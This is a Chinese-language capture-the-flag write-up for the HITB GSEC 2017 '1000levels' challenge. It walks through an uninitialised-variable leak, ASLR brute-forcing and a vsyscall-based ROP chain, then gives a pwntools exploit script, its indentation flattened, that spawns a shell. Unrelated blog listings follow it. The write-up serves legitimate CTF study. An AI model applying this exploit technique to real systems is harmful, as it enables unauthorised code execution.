https://files.cnblogs.com/files/p4nda/498a3f10-8976-4733-8bdb-30d6f9d9fdad.gz

#通过阅读天枢战队大佬们的wp调试的结果

首先查看一下该elf文件的保护情况:

是64位程序,有PIE、NX保护,没有canary保护,怀疑是栈溢出类型。

开始寻找溢出点,通过阅读ida得到的代码,大致分析一下文件含义:

main:

main函数比较简单,逻辑很明显,有两个貌似有用的函数,hint()、go()。不断在这两个函数中循环。

先看hint:

hint:

如果show_hint为1.则提示system函数的地址。show_hint位于bss段。难道是福利?

想多了= =。因为具有PIE保护,所以BSS段的地址也是随机的,而且还没找到可以任意的漏洞,暂时丢在这里。

但从C代码看不出什么,可以看一下汇编代码,

可以看到,虽然show_hint标识为0,但栈内仍然有这个system的地址(这很重要)

接下来看go函数:

go函数中有点问题,可以看到v5是没有赋初值的。当v2<=0时,v5就是脏数据了。 //这是第二点

进入hint函数:

hint函数中可以看得到一个明显的栈溢出, buf变量是8字节,而输入是400u,可以溢出覆盖很长一段空间,猜测这也就是可以利用的溢出漏洞。

综上,程序分析结束,找到溢出漏洞一处,思路就可以是利用shellcode或者rop技术来执行命令。

因为有NX保护存在所以只能用ROP来利用漏洞,对rop的长度没有限制,但是,由于ASLR和PIE的存在导致无法直接获得system函数的地址,幸亏有hint这样一个函数。

从上文可以看到,在hint函数中,system的地址防止在rbp-110这样的位置:

而我们找到的脏数据使用v5恰巧也是是定义在这个位置

因此,当第一次输入为0时,v5就是system的地址。通过这个地址,可以爆破得到system的地址。

想法是这样的:

猜测system第地址为i时,如果输入-i,当i>system的地址时,得到的v6<0会输出coward字样,按位猜解从高位到低位就可以顺次找到各位的system值。

要爆破几位呢?

通过其他技术博客:http://www.cnblogs.com/wangaohui/p/7122653.html

知道,aslr的作用原理是这样的:

函数加载与mmap相同

mmap随机的位数由mmap_rnd_bits表示,在64位下是28比特,经过计算在64位平台下mmap的基地址是:page_align(0x7ffbf8000000-rand),而其中的rand在是28比特的数字左移12位。当mmap的基地址确定后,在各个系统中,程序运行起来时各个模块(不包括pie程序的主模块、但包括各个动态链接库)与mmap的基地址的偏移是固定的,因此这些模块加载地址的随机化也在28比特。

因此rand是 xxxxxxx000这样的,而使用了减法,因此影响了system地址中间8*4的地址值,故简单的可爆破8*4bit

而当爆破某位时,当小于system地址时,需要进行1000次的运算,在运算中由于存在栈溢出漏洞,可以覆盖预期结果的地址,因此很简单。

当运算999次后,会停止运算并退出,如果退出,再次进入时就失效了,因此必须通过溢出覆盖返回地址,强行使程序恢复到程序开头。

栈地址中恰巧存在start函数地址,因此可以使用它来返回函数的初始状态。

但由于程序开启了PIE保护,无法从elf文件中直接跳转至main函数或寻找gadget,因此想到使用vsyscall来充当gadget(这部分在系统中地址始终不变。)

通过如上步骤就可以爆破出system地址,再由libc可以找到libc中“/bin/sh”的地址。

最后使用ROPgadget找到一个在libc中“pop rdi  , ret”作为传参gadget就可以利用栈溢出漏洞,来使用rop进行命令执行了:

附上exp:

from pwn import *

p = process('./1000levels')

debug = 0
if debug:
context.log_level = 'debug'
def hint():
p.sendlineafter('Choice:','') def go(first,more):
p.sendlineafter('Choice:','')
p.sendlineafter('levels?',str(first))
p.sendlineafter('more?\n',str(more)) def calc(num):
p.recvuntil('Answer:')
p.send(num) def leak(): start = 0x700000000390
for i in range(10,2,-1):
for j in range(15,-1,-1):
hint()
addr_test = (1 << (i*4) )* j + start
go(0,-addr_test)
a = p.recvline()
#print hex(addr_test)
if 'Coward' not in a:
start = addr_test log.info('check '+ hex(addr_test))
break
pro = log.progress('go')
for i in range(999):
pro.status('level %d'%(i+1))
calc(p64(0)*5)
calc(p64(0xffffffffff600400)*35)
pro.success('ok')
return start + 0x1000 if debug:
gdb.attach(p) #go(1,0) #
system_addr = leak()
print '[+] get system addr:', hex(system_addr)
libc = ELF('./libc.so')
system_addr_libc = libc.symbols['system']
bin_sh_addr_libc = next(libc.search('/bin/sh')) bin_sh_addr = bin_sh_addr_libc + system_addr - system_addr_libc gadget = system_addr - system_addr_libc + 0x21102 payload = p64(gadget) + p64(bin_sh_addr) + p64(system_addr) go(1,0)
exp = 'a'*0x38 + payload
calc(exp) p.interactive()

最后,膜拜大佬们的思路。

【HITB GSEC CTF 2017】1000levels的更多相关文章

  1. 【luoguP4006 清华集训2017】小Y和二叉树

    题目描述 小 Y 是一个心灵手巧的 OIer,她有许多二叉树模型. 小 Y 的二叉树模型中,每个结点都具有一个编号,小 Y 把她最喜欢的一个二叉树模型挂在了墙上,树根在最上面,左右子树分别在树根的左下 ...

  2. 【UOJ#340】【清华集训2017】小 Y 和恐怖的奴隶主(矩阵快速幂,动态规划)

    [UOJ#340][清华集训2017]小 Y 和恐怖的奴隶主(矩阵快速幂,动态规划) 题面 UOJ 洛谷 题解 考虑如何暴力\(dp\). 设\(f[i][a][b][c]\)表示当前到了第\(i\) ...

  3. HDU 6118 度度熊的交易计划 【最小费用最大流】 (2017"百度之星"程序设计大赛 - 初赛(B))

    度度熊的交易计划 Time Limit: 12000/6000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others)Total S ...

  4. HDU 6109 数据分割 【并查集+set】 (2017"百度之星"程序设计大赛 - 初赛(A))

    数据分割 Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others)Total Submis ...

  5. 【雅虎2017】一个在线展示广告的CVR预估框架实践

    论文A Practical Framework of Conversion Rate Prediction for Online Display Advertising 定期更新,获取更多,欢迎sta ...

  6. Python学习【第十二篇】模块(2)

    序列化 1.什么是python序列化? 把变量从内存中变成可存储或传输的过程称之为序列化,在Python中叫pickling 序列化就是将python的数据类型转换成字符串 反序列化就是将字符串转换成 ...

  7. 两款【linux字符界面下】显示【菜单】,【选项】的powershell脚本模块介绍

    两款[linux字符界面下]显示[菜单],[选项]的powershell脚本模块介绍 powershell linux  ps1 menu choice Multiselect 传教士 菜单 powe ...

  8. 【NFS项目实战二】NFS共享数据的时时同步推送备份

    [NFS项目实战二]NFS共享数据的时时同步推送备份 标签(空格分隔): Linux服务搭建-陈思齐 ---本教学笔记是本人学习和工作生涯中的摘记整理而成,此为初稿(尚有诸多不完善之处),为原创作品, ...

  9. 【EntityFramework 6.1.3】个人理解与问题记录(2)

    前言 才看完一季动漫,完结撒花,末将于禁,原为曹家世代赴汤蹈火!想必看过的都会知道这个,等一下要不吐槽一下翻拍的真人版,○( ^皿^)っHiahia-,好了快醒醒改办正事儿了,好的,我们接着上一篇文章 ...

随机推荐

  1. Centos7618安装后常见操作

    1.查看ip ip address  或者ip add 2.查看发行版本 yum -y install redhat-lsb lsb_release -a 3.查看内核版本 uname -r cat ...

  2. preg_replace相关问题

    preg_replace preg_replace 函数执行一个正则表达式的搜索和替换. 语法: preg_replace ( mixed $pattern , mixed $replacement ...

  3. 计蒜客 青出于蓝胜于蓝(dfs序+树状数组)

    题目描述 武当派一共有 n 人,门派内 n 人按照武功高低进行排名,武功最高的人排名第 1,次高的人排名第 2,... 武功最低的人排名 第 n.现在我们用武功的排名来给每个人标号,除了祖师爷,每个人 ...

  4. 使用mysql服务实现负载均衡

    mysql 长连接(tcp协议)模拟负载均衡 1.存在member,member的port与mysql服务port一致为3306 2.vip绑定浮动ip 3.开启mysql服务: #service m ...

  5. Android音频录制MediaRecorder之简易的录音软件实现代码(转)

    原文:http://www.jb51.net/article/46182.htm Android音频录制MediaRecorder之简易的录音软件实现代码 这篇文章主要介绍了Android音频录制Me ...

  6. Qtxlsx的使用

    上一遍讲述了基于Qt5.9.8下编译Xtxlsx,本遍讲述基于Qt5.9.8下使用Qtxlsx 1.打开Qt Creator 4.8.2(Enterprise),创建工程,选择版本 2.在pro文件中 ...

  7. js中各种类型转换为Boolean类型

    数据类型  转换为true的值  转换为false的值 Boolean  true  false String  任何非空字符串  空字符串 Number  任何非零数字值(包括无穷大) 0和null ...

  8. Python 基础之模块之os os.path 及os与shutil对比

    一: os 对系统进行操作 #注:以下操作都在linux环境下操作,且很多运行之前需要做好相关条件import os#(1)system() 在python总执行系统命令#os.system(&quo ...

  9. Python 操作rabbitmq中的confirm模式的错误

    今天使用rabbitmq的confirm模式,书上介绍的是pika版本是0.9.6,但是我用的是别的版本,发现这样的错误 Traceback (most recent call last):  Fil ...

  10. Centos7精简版安装常用扩展插件

    一.安装ifconfig *确认本机是否真实存在ifconfig* echo $PATH 查看环境变量路径 ls /usr/sbin/ 查看此路径下是否有ifconfig这个程序 find / -na ...